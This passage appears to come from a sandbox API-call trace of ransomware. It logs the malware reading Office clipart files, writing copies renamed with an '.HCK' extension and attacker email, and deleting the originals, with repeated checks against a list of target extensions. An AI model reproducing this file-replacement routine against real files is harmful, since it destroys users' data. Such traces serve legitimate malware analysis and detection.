Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387604.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.082] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=47551) returned 1 [0178.082] CloseHandle (hObject=0x300) returned 1 [0178.082] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387604.jpg")) returned 0x220 [0178.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387604.jpg.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.088] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387604.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0178.093] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.093] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387604.jpg.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.097] GetLastError () returned 0x0 [0178.097] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0xb9bf, lpOverlapped=0x0) returned 1 [0178.099] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xb9c0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xb9c0, lpOverlapped=0x0) returned 1 [0178.100] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.100] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.100] SetEndOfFile (hFile=0x300) returned 1 [0178.101] CloseHandle (hObject=0x300) returned 1 [0178.102] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.102] SetEndOfFile (hFile=0x2fc) returned 1 [0178.104] CloseHandle (hObject=0x2fc) returned 1 [0178.105] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.105] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0387604.jpg")) returned 1 [0178.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG") returned 68 [0178.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG") returned 68 [0178.106] lstrlenW (lpString=".doc") returned 4 [0178.106] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.106] lstrlenW (lpString=".docx") returned 5 [0178.106] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0178.106] lstrlenW (lpString=".pdf") returned 4 [0178.106] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.106] lstrlenW (lpString=".xls") returned 4 [0178.106] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.106] lstrlenW (lpString=".xlsx") returned 5 [0178.106] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0178.106] lstrlenW (lpString=".ppt") returned 4 [0178.106] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG") returned 68 [0178.106] lstrlenW (lpString=".zip") returned 4 [0178.106] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.106] lstrlenW (lpString=".rar") returned 4 [0178.106] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.106] lstrlenW (lpString=".bz2") returned 4 [0178.106] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.106] lstrlenW (lpString=".7z") returned 3 [0178.106] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG") returned 68 [0178.106] lstrlenW (lpString=".dbf") returned 4 [0178.106] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG") returned 68 [0178.106] lstrlenW (lpString=".1cd") returned 4 [0178.106] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG") returned 68 [0178.106] lstrlenW (lpString=".jpg") returned 4 [0178.106] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG") returned 68 [0178.106] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG") returned 68 [0178.106] lstrlenW (lpString=".doc") returned 4 [0178.106] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0178.106] lstrlenW (lpString=".docx") returned 5 [0178.106] lstrcmpiW (lpString1=".docx", lpString2="4.JPG") returned -1 [0178.106] lstrlenW (lpString=".pdf") returned 4 [0178.107] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0178.107] lstrlenW (lpString=".xls") returned 4 [0178.107] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0178.107] lstrlenW (lpString=".xlsx") returned 5 [0178.107] lstrcmpiW (lpString1=".xlsx", lpString2="4.JPG") returned -1 [0178.107] lstrlenW (lpString=".ppt") returned 4 [0178.107] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0178.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG") returned 68 [0178.107] lstrlenW (lpString=".zip") returned 4 [0178.107] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0178.107] lstrlenW (lpString=".rar") returned 4 [0178.107] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0178.107] lstrlenW (lpString=".bz2") returned 4 [0178.107] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0178.107] lstrlenW (lpString=".7z") returned 3 [0178.107] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0178.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG") returned 68 [0178.107] lstrlenW (lpString=".dbf") returned 4 [0178.107] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0178.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG") returned 68 [0178.107] lstrlenW (lpString=".1cd") returned 4 [0178.107] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0178.107] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0387604.JPG") returned 68 [0178.107] lstrlenW (lpString=".jpg") returned 4 [0178.107] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0178.107] lstrcmpiW (lpString1=".PNG", lpString2=".HCK") returned 1 [0178.107] lstrlenW (lpString="J0400001.PNG") returned 12 [0178.107] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400001.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.109] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=202883) returned 1 [0178.109] CloseHandle (hObject=0x39c) returned 1 [0178.110] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400001.png")) returned 0x220 [0178.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400001.png.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400001.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0178.119] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.119] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.119] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400001.png.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.123] GetLastError () returned 0x0 [0178.123] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x31883, lpOverlapped=0x0) returned 1 [0178.127] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x31890, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x31890, lpOverlapped=0x0) returned 1 [0178.130] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.130] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.130] SetEndOfFile (hFile=0x300) returned 1 [0178.131] CloseHandle (hObject=0x300) returned 1 [0178.133] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.133] SetEndOfFile (hFile=0x368) returned 1 [0178.135] CloseHandle (hObject=0x368) returned 1 [0178.135] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.135] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400001.png")) returned 1 [0178.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG") returned 68 [0178.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG") returned 68 [0178.136] lstrlenW (lpString=".doc") returned 4 [0178.136] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0178.136] lstrlenW (lpString=".docx") returned 5 [0178.136] lstrcmpiW (lpString1=".docx", lpString2="1.PNG") returned -1 [0178.136] lstrlenW (lpString=".pdf") returned 4 [0178.136] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0178.136] lstrlenW (lpString=".xls") returned 4 [0178.136] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0178.136] lstrlenW (lpString=".xlsx") returned 5 [0178.136] lstrcmpiW (lpString1=".xlsx", lpString2="1.PNG") returned -1 [0178.136] lstrlenW (lpString=".ppt") returned 4 [0178.136] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0178.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG") returned 68 [0178.136] lstrlenW (lpString=".zip") returned 4 [0178.136] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0178.136] lstrlenW (lpString=".rar") returned 4 [0178.136] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0178.136] lstrlenW (lpString=".bz2") returned 4 [0178.136] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0178.136] lstrlenW (lpString=".7z") returned 3 [0178.136] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0178.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG") returned 68 [0178.137] lstrlenW (lpString=".dbf") returned 4 [0178.137] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0178.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG") returned 68 [0178.137] lstrlenW (lpString=".1cd") returned 4 [0178.137] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0178.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG") returned 68 [0178.137] lstrlenW (lpString=".jpg") returned 4 [0178.137] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0178.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG") returned 68 [0178.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG") returned 68 [0178.137] lstrlenW (lpString=".doc") returned 4 [0178.137] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0178.137] lstrlenW (lpString=".docx") returned 5 [0178.137] lstrcmpiW (lpString1=".docx", lpString2="1.PNG") returned -1 [0178.137] lstrlenW (lpString=".pdf") returned 4 [0178.137] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0178.137] lstrlenW (lpString=".xls") returned 4 [0178.137] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0178.137] lstrlenW (lpString=".xlsx") returned 5 [0178.137] lstrcmpiW (lpString1=".xlsx", lpString2="1.PNG") returned -1 [0178.137] lstrlenW (lpString=".ppt") returned 4 [0178.137] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0178.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG") returned 68 [0178.137] lstrlenW (lpString=".zip") returned 4 [0178.137] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0178.137] lstrlenW (lpString=".rar") returned 4 [0178.137] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0178.137] lstrlenW (lpString=".bz2") returned 4 [0178.137] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0178.137] lstrlenW (lpString=".7z") returned 3 [0178.137] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0178.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG") returned 68 [0178.137] lstrlenW (lpString=".dbf") returned 4 [0178.137] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0178.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG") returned 68 [0178.137] lstrlenW (lpString=".1cd") returned 4 [0178.137] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0178.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400001.PNG") returned 68 [0178.137] lstrlenW (lpString=".jpg") returned 4 [0178.137] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0178.137] lstrcmpiW (lpString1=".PNG", lpString2=".HCK") returned 1 [0178.137] lstrlenW (lpString="J0400005.PNG") returned 12 [0178.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400005.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.140] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=96066) returned 1 [0178.140] CloseHandle (hObject=0x370) returned 1 [0178.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400005.png")) returned 0x220 [0178.146] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400005.png.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0178.150] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400005.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0178.152] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.152] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400005.png.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0178.159] GetLastError () returned 0x0 [0178.159] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x17742, lpOverlapped=0x0) returned 1 [0178.163] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x17750, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x17750, lpOverlapped=0x0) returned 1 [0178.164] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0178.165] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0178.165] SetEndOfFile (hFile=0x300) returned 1 [0178.166] CloseHandle (hObject=0x300) returned 1 [0178.167] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0178.167] SetEndOfFile (hFile=0x39c) returned 1 [0178.170] CloseHandle (hObject=0x39c) returned 1 [0178.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0178.170] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0400005.png")) returned 1 [0178.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG") returned 68 [0178.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG") returned 68 [0178.171] lstrlenW (lpString=".doc") returned 4 [0178.171] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0178.171] lstrlenW (lpString=".docx") returned 5 [0178.171] lstrcmpiW (lpString1=".docx", lpString2="5.PNG") returned -1 [0178.171] lstrlenW (lpString=".pdf") returned 4 [0178.171] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0178.171] lstrlenW (lpString=".xls") returned 4 [0178.171] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0178.171] lstrlenW (lpString=".xlsx") returned 5 [0178.171] lstrcmpiW (lpString1=".xlsx", lpString2="5.PNG") returned -1 [0178.171] lstrlenW (lpString=".ppt") returned 4 [0178.171] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0178.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG") returned 68 [0178.171] lstrlenW (lpString=".zip") returned 4 [0178.171] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0178.171] lstrlenW (lpString=".rar") returned 4 [0178.171] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0178.171] lstrlenW (lpString=".bz2") returned 4 [0178.171] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0178.171] lstrlenW (lpString=".7z") returned 3 [0178.171] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0178.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG") returned 68 [0178.171] lstrlenW (lpString=".dbf") returned 4 [0178.171] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0178.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG") returned 68 [0178.172] lstrlenW (lpString=".1cd") returned 4 [0178.172] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0178.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG") returned 68 [0178.172] lstrlenW (lpString=".jpg") returned 4 [0178.172] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0178.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG") returned 68 [0178.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG") returned 68 [0178.172] lstrlenW (lpString=".doc") returned 4 [0178.172] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0178.172] lstrlenW (lpString=".docx") returned 5 [0178.172] lstrcmpiW (lpString1=".docx", lpString2="5.PNG") returned -1 [0178.172] lstrlenW (lpString=".pdf") returned 4 [0178.172] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0178.172] lstrlenW (lpString=".xls") returned 4 [0178.172] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0178.172] lstrlenW (lpString=".xlsx") returned 5 [0178.172] lstrcmpiW (lpString1=".xlsx", lpString2="5.PNG") returned -1 [0178.172] lstrlenW (lpString=".ppt") returned 4 [0178.172] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0178.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG") returned 68 [0178.172] lstrlenW (lpString=".zip") returned 4 [0178.172] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0178.172] lstrlenW (lpString=".rar") returned 4 [0178.172] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0178.172] lstrlenW (lpString=".bz2") returned 4 [0178.172] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0178.172] lstrlenW (lpString=".7z") returned 3 [0178.172] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0178.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG") returned 68 [0178.172] lstrlenW (lpString=".dbf") returned 4 [0178.172] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0178.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG") returned 68 [0178.172] lstrlenW (lpString=".1cd") returned 4 [0178.172] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0178.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0400005.PNG") returned 68 [0178.172] lstrlenW (lpString=".jpg") returned 4 [0178.172] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0178.172] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0178.172] lstrlenW (lpString="NA00042_.WMF") returned 12 [0178.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\na00042_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0178.174] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=20548) returned 1 [0178.174] CloseHandle (hObject=0x370) returned 1 [0178.174] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NA00042_.WMF" (normalized: "c:\\program files\\microsoft 